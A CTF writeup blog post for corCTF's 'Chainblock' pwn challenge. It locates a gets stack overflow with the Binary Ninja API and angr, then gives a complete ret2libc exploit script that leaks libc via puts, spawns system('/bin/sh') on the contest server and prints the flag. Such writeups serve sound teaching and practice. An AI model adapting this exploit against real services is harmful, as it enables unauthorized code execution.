Welcome to the Debugmen blog. We use this site to post tools, security findings, CTF writeups and anything else we find worthy of release to the public.

corCTF: Chainblock

This was a simple challenge that doesn’t really need a writeup, however I am addicted to Binaryninja so maybe I can get a free license out of this.

Update

This writeup ended up winning the best use of binaryninja and netted me a free license win

Understanding the Challenge

We were given the binary and source of the challenge as well as the interpreter and libc, however I decided not to look at the source or open the binary in a disassembler. A teammate had mentioned that there was a gets call in the binary, so I decided to write a solve script with this information.

Writing the solve script

To win the binja license I have to use binja for this writeup. Since I don’t want to open the binary in binja though, I’ll have to use binja api and solve this headlessly.

Mitigations

I used the checksec commandline tool to print mitigations enabled.

[*] '/home/chris/Desktop/cor/chain/chainblock'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'./'

With no canary and no pie, ropping should be easy.

Locating the vuln

Using the hint that there is a call to gets, I used binja to find where the gets is being called and grab the hlil of that function call.

from binaryninja import BinaryViewType
binary_path = "./chainblock"

bv = BinaryViewType.get_view_of_file(binary_path)

gets_function = bv.get_functions_by_name("gets")[0]

for ref in bv.get_code_refs(gets_function.start):
    hlil = ref.function.get_low_level_il_at(ref.address).hlil

With the hlil, we can determine if the parameter being passed into the gets call is on the stack. If so we have a potential stack-based buffer overflow.

The following code finds that the parameter of the gets call is on the stack and prints the stack offset of the variable.

from binaryninja import BinaryViewType, HighLevelILOperation, RegisterValueType
binary_path = "./chainblock"


bv = BinaryViewType.get_view_of_file(binary_path)

gets_function = bv.get_functions_by_name("gets")[0]

def get_vuln(b):
    for ref in b.get_code_refs(gets_function.start):
        hlil = ref.function.get_low_level_il_at(ref.address).hlil
        if hlil.operation == HighLevelILOperation.HLIL_CALL:
            param = hlil.params[0]
            if param.operation == HighLevelILOperation.HLIL_ADDRESS_OF:
                val = param.value
                if val.type == RegisterValueType.StackFrameOffset:
                    offset = val.offset
                    return hlil,offset

hlil,offset = get_vuln(bv)
print(f"Stack-Based Buffer Overflow Detected. Supplying {abs(offset)} bytes shold corrupt base pointer!")
print(f"HLIL: {hex(hlil.address)}->", str(hlil))

Output:

Stack-Based Buffer Overflow Detected. Supplying 264 bytes shold corrupt base pointer!
HLIL: 0x4011e5-> gets(&var_108)

For us to gain code execution we have to overwrite the saved return pointer on the stack and reach a ret instruction to pop our bytes into rip.

sf = hlil.function.source_function
last_instruction = sf.get_low_level_il_at(sf.address_ranges[0].end-1).hlil
if last_instruction.operation == HighLevelILOperation.HLIL_RET:
    end_addr = last_instruction.address

Reaching the vuln

Now that we know there is a potential stack based buffer overflow, I then used angr to see if this bad code is reachable from main.

proj = angr.Project(binary_path)
main = bv.get_functions_by_name("main")[0]
state = proj.factory.blank_state(addr=main.start)
simgr = proj.factory.simgr(state)
simgr.explore(find=hlil.address)

if len(simgr.found) > 0:
    print("Vuln gets is reachable!")
    print("The following input is required to reach vuln:",simgr.found[0].posix.dumps(0))

Output:

Stack-Based Buffer Overflow Detected. Supplying 264 bytes shold corrupt base pointer!
HLIL: 0x4011e5-> gets(&var_108)
WARNING | 2021-08-31 13:37:48,840 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2021-08-31 13:37:48,841 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2021-08-31 13:37:48,841 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2021-08-31 13:37:48,841 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2021-08-31 13:37:48,841 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2021-08-31 13:37:48,841 | angr.storage.memory_mixins.default_filler_mixin | Filling register rbp with 8 unconstrained bytes referenced from 0x40124f (main+0x4 in chainblock (0x40124f))
Vuln gets is reachable!
The following input is required to reach vuln: b''

So we don’t have to send any specific input to reach the vulnerable gets call.

Triggering the vuln

We can use angr to now trace from the gets call to the ret to make sure we still can reach the ret of the vuln function so that our corrupted saved rip can be used.

simgr = proj.factory.simgr(simgr.found[0])
simgr.explore(find=end_addr)
if len(simgr.found) > 0:
    print("Can reach ret")

Binja has a debugger that is a work in progress. I used this to concretely run the binary to confirm we can corrupt rip.

Because the debugger is unfinished, I run the debugger up to the gets then store my payload on the stack and skip the call to simulate gets. Then catch if there is an memory access violation (when trying to set rip to “BBBBBBBB”). Then double check to make sure that RIP would be correctly overwritten with the “B”s.

from Vector35_debugger import gdb
adapter = gdb.DebugAdapterGdb()
adapter.exec(binary_path)

payload  = b""
payload += b"A"*abs(offset)
payload += b"B"*8

adapter.breakpoint_set(hlil.address)
adapter.go()
adapter.breakpoint_clear(hlil.address)

buff = adapter.reg_read('rdi')
adapter.mem_write(buff,payload)
next_instruction = bv.get_instruction_length(hlil.address) + hlil.address
adapter.reg_write("rip",next_instruction)
reason,_ = adapter.go()
adapter.handle_stop(reason,_)

if reason == gdb.DebugAdapter.STOP_REASON.ACCESS_VIOLATION:
    rip = adapter.mem_read(adapter.reg_read("rsp"),8)
    if rip == b"B"*8:
        print("RIP IS SUCCESSFULLY OVERWRITEN")

Running this confirms corruption of the saved rip as well as the correct payload size.

Exploitation

To exploit, I leaked libc and called system(/bin/sh)

I started with a few helper functions to pack and unpack as well as some poorly coded socket functions. In additon to them, used binja api to make a dictionary of the plt and got.

p64 = lambda x: struct.pack("<Q",x)
u64 = lambda x: struct.unpack("<Q",x.ljust(8,b"\x00"))[0]

def read_info():
    for _ in range(stdout_len):
        io.recv(1)

def readline(end=b"\n"):
    found_newline = False
    line = b""
    while not found_newline:
        r = io.recv(1)
        line+=r
        if r == end:
            found_newline = True
    return line
got = {x.name:x.address for x in bv.get_symbols_of_type(SymbolType.ImportAddressSymbol)}
plt = {x.name:x.address for x in bv.get_symbols_of_type(SymbolType.ImportedFunctionSymbol)}

The one gadget we have to search for is a pop rdi. Typically, I’ve noticed thats not found in small binaries, however there is always a pop r15 in __libc_csu_init. Adding 1 to a pop 15 gets us a pop rdi.

Binja can search for gadgets, I did it in the LLIL:

pop_rdi = bv.find_next_text(bv.start,"r15 = pop",graph_type=FunctionGraphType.LowLevelILFunctionGraph)+1
ret = pop_rdi + 1

Then make the socket connection:

host,port = "pwn.be.ax",5000
io = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
io.connect((host,port))

And build the payload to get a leak:

payload  = b""
payload += b"A"*abs(offset)
payload += p64(pop_rdi)
payload += p64(got['puts'])
payload += p64(plt['puts'])
payload += p64(main.start)

read_info()
io.send(payload+b"\n")
readline()
puts_leak = u64(io.recv(6))
print("Puts:", hex(puts_leak))

With a leak, we can load up libc and rebase and then find the string “/bin/sh”:

libc = BinaryViewType.get_view_of_file("./libc.so.6",update_analysis=False)
libc = libc.rebase(puts_leak - libc.symbols['puts'][0].address,force=True)
print("Libc Base:", hex(libc.start))

bin_sh = libc.find_next_data(libc.start,"/bin/sh")

Lastly, send a ret2libc payload with an extra ret because of the movaps issue.

 payload2  = b""
payload2 += b"A"*abs(offset)
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(libc.symbols['system'][0].address)

io.send(payload2+b"\n")
io.send(b"cat flag.txt\n")
readline()
print(readline(b"}"))

Final Payload

from binaryninja import BinaryViewType, HighLevelILOperation, RegisterValueType, SymbolType, FunctionGraphType
import angr
import struct
import socket

binary_path = "./chainblock"
bv = BinaryViewType.get_view_of_file(binary_path)

gets_function = bv.get_functions_by_name("gets")[0]

# LOCATING THE VULN
def get_vuln(b):
    for ref in b.get_code_refs(gets_function.start):
        hlil = ref.function.get_low_level_il_at(ref.address).hlil
        if hlil.operation == HighLevelILOperation.HLIL_CALL:
            param = hlil.params[0]
            if param.operation == HighLevelILOperation.HLIL_ADDRESS_OF:
                val = param.value
                if val.type == RegisterValueType.StackFrameOffset:
                    offset = val.offset
                    return hlil,offset

hlil,offset = get_vuln(bv)
print(f"Stack-Based Buffer Overflow Detected. Supplying {abs(offset)} bytes shold corrupt base pointer!")
print(f"HLIL: {hex(hlil.address)}->", str(hlil))

sf = hlil.function.source_function
last_instruction = sf.get_low_level_il_at(sf.address_ranges[0].end-1).hlil
if last_instruction.operation == HighLevelILOperation.HLIL_RET:
    end_addr = last_instruction.address

# REACHING THE VULN
proj = angr.Project(binary_path)
main = bv.get_functions_by_name("main")[0]
state = proj.factory.blank_state(addr=main.start)
simgr = proj.factory.simgr(state)
simgr.explore(find=hlil.address)

if len(simgr.found) > 0:
    print("Vuln gets is reachable!")
    print("The following input is required to reach vuln:",simgr.found[0].posix.dumps(0))

stdout_len = len(simgr.found[0].posix.dumps(1))

# TRIGGERING THE VULN
simgr = proj.factory.simgr(simgr.found[0])
simgr.explore(find=end_addr)
if len(simgr.found) > 0:
    print("Can reach ret")

from Vector35_debugger import gdb
adapter = gdb.DebugAdapterGdb()
adapter.exec(binary_path)

payload  = b""
payload += b"A"*abs(offset)
payload += b"B"*8

adapter.breakpoint_set(hlil.address)
adapter.go()
adapter.breakpoint_clear(hlil.address)

buff = adapter.reg_read('rdi')
adapter.mem_write(buff,payload)
next_instruction = bv.get_instruction_length(hlil.address) + hlil.address
adapter.reg_write("rip",next_instruction)
reason,_ = adapter.go()
adapter.handle_stop(reason,_)

if reason == gdb.DebugAdapter.STOP_REASON.ACCESS_VIOLATION:
    rip = adapter.mem_read(adapter.reg_read("rsp"),8)
    if rip == b"B"*8:
        print("RIP IS SUCCESSFULLY OVERWRITEN")

# EXPLOITATION
p64 = lambda x: struct.pack("<Q",x)
u64 = lambda x: struct.unpack("<Q",x.ljust(8,b"\x00"))[0]

def read_info():
    for _ in range(stdout_len):
        io.recv(1)

def readline(end=b"\n"):
    found_newline = False
    line = b""
    while not found_newline:
        r = io.recv(1)
        line+=r
        if r == end:
            found_newline = True
    return line
got = {x.name:x.address for x in bv.get_symbols_of_type(SymbolType.ImportAddressSymbol)}
plt = {x.name:x.address for x in bv.get_symbols_of_type(SymbolType.ImportedFunctionSymbol)}

pop_rdi = bv.find_next_text(bv.start,"r15 = pop",graph_type=FunctionGraphType.LowLevelILFunctionGraph)+1
ret = pop_rdi + 1

host,port = "pwn.be.ax",5000
io = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
io.connect((host,port))

payload  = b""
payload += b"A"*abs(offset)
payload += p64(pop_rdi)
payload += p64(got['puts'])
payload += p64(plt['puts'])
payload += p64(main.start)

read_info()
io.send(payload+b"\n")
readline()
puts_leak = u64(io.recv(6))
print("Puts:", hex(puts_leak))

libc = BinaryViewType.get_view_of_file("./libc.so.6",update_analysis=False)
libc = libc.rebase(puts_leak - libc.symbols['puts'][0].address,force=True)
print("Libc Base:", hex(libc.start))

bin_sh = libc.find_next_data(libc.start,"/bin/sh")

io.recv(1)
read_info()

payload2  = b""
payload2 += b"A"*abs(offset)
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(libc.symbols['system'][0].address)

io.send(payload2+b"\n")
io.send(b"cat flag.txt\n")
readline()
print(readline(b"}"))

Output:

Stack-Based Buffer Overflow Detected. Supplying 264 bytes shold corrupt base pointer!
HLIL: 0x4011e5-> gets(&var_108)
WARNING | 2021-08-31 15:58:34,438 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2021-08-31 15:58:34,439 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2021-08-31 15:58:34,439 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2021-08-31 15:58:34,439 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2021-08-31 15:58:34,439 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2021-08-31 15:58:34,439 | angr.storage.memory_mixins.default_filler_mixin | Filling register rbp with 8 unconstrained bytes referenced from 0x40124f (main+0x4 in chainblock (0x40124f))
Vuln gets is reachable!
The following input is required to reach vuln: b''
WARNING | 2021-08-31 15:58:35,096 | angr.procedures.libc.gets | The use of gets in a program usually causes buffer overflows. You may want to adjust SimStateLibc.max_gets_size to properly mimic an overflowing read.
Can reach ret
Process ./chainblock created; pid = 1414641
Listening on port 31337
Remote debugging from host ::ffff:127.0.0.1, port 48580
      ___           ___           ___                       ___     
     /\  \         /\__\         /\  \          ___        /\__\    
    /::\  \       /:/  /        /::\  \        /\  \      /::|  |   
   /:/\:\  \     /:/__/        /:/\:\  \       \:\  \    /:|:|  |   
  /:/  \:\  \   /::\  \ ___   /::\~\:\  \      /::\__\  /:/|:|  |__ 
 /:/__/ \:\__\ /:/\:\  /\__\ /:/\:\ \:\__\  __/:/\/__/ /:/ |:| /\__\
 \:\  \  \/__/ \/__\:\/:/  / \/__\:\/:/  / /\/:/  /    \/__|:|/:/  /
  \:\  \            \::/  /       \::/  /  \::/__/         |:/:/  / 
   \:\  \           /:/  /        /:/  /    \:\__\         |::/  /  
    \:\__\         /:/  /        /:/  /      \/__/         /:/  /   
     \/__/         \/__/         \/__/                     \/__/    
      ___           ___       ___           ___           ___     
     /\  \         /\__\     /\  \         /\  \         /\__\    
    /::\  \       /:/  /    /::\  \       /::\  \       /:/  /    
   /:/\:\  \     /:/  /    /:/\:\  \     /:/\:\  \     /:/__/     
  /::\~\:\__\   /:/  /    /:/  \:\  \   /:/  \:\  \   /::\__\____ 
 /:/\:\ \:|__| /:/__/    /:/__/ \:\__\ /:/__/ \:\__\ /:/\:::::\__\
 \:\~\:\/:/  / \:\  \    \:\  \ /:/  / \:\  \  \/__/ \/_|:|~~|~   
  \:\ \::/  /   \:\  \    \:\  /:/  /   \:\  \          |:|  |    
   \:\/:/  /     \:\  \    \:\/:/  /     \:\  \         |:|  |    
    \::/__/       \:\__\    \::/  /       \:\__\        |:|  |    
     ~~            \/__/     \/__/         \/__/         \|__|    


----------------------------------------------------------------------------------

Welcome to Chainblock, the world's most advanced chain of blocks.

Chainblock is a unique company that combines cutting edge cloud
technologies with high tech AI powered machine learning models
to create a unique chain of blocks that learns by itself!

Chainblock is also a highly secure platform that is unhackable by design.
We use advanced technologies like NX bits and anti-hacking machine learning models
to ensure that your money is safe and will always be safe!

----------------------------------------------------------------------------------

For security reasons we require that you verify your identity.
Please enter your name: KYC failed, wrong identity!
RIP IS SUCCESSFULLY OVERWRITEN
Puts: 0x7f12cd12a9d0
Libc Base: 0x7f12cd0aa000
b'corctf{mi11i0nt0k3n_1s_n0t_a_scam_r1ght}'
Killing process(es): 1414641

All tags